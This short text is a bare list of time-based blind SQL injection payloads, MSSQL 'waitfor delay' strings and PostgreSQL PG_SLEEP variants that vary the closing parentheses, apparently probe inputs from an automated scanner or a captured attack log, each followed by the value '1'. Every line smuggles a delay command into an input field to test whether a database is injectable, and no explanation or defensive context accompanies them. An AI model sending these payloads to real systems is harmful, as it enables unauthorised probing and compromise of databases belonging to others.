555-1 waitfor delay '0:0:15' --

1

555eHZ6GZIr'; waitfor delay '0:0:15' --

1

555-1 OR 358=(SELECT 358 FROM PG_SLEEP(15))--

1

555-1) OR 723=(SELECT 723 FROM PG_SLEEP(15))--

1

555-1)) OR 782=(SELECT 782 FROM PG_SLEEP(15))--

1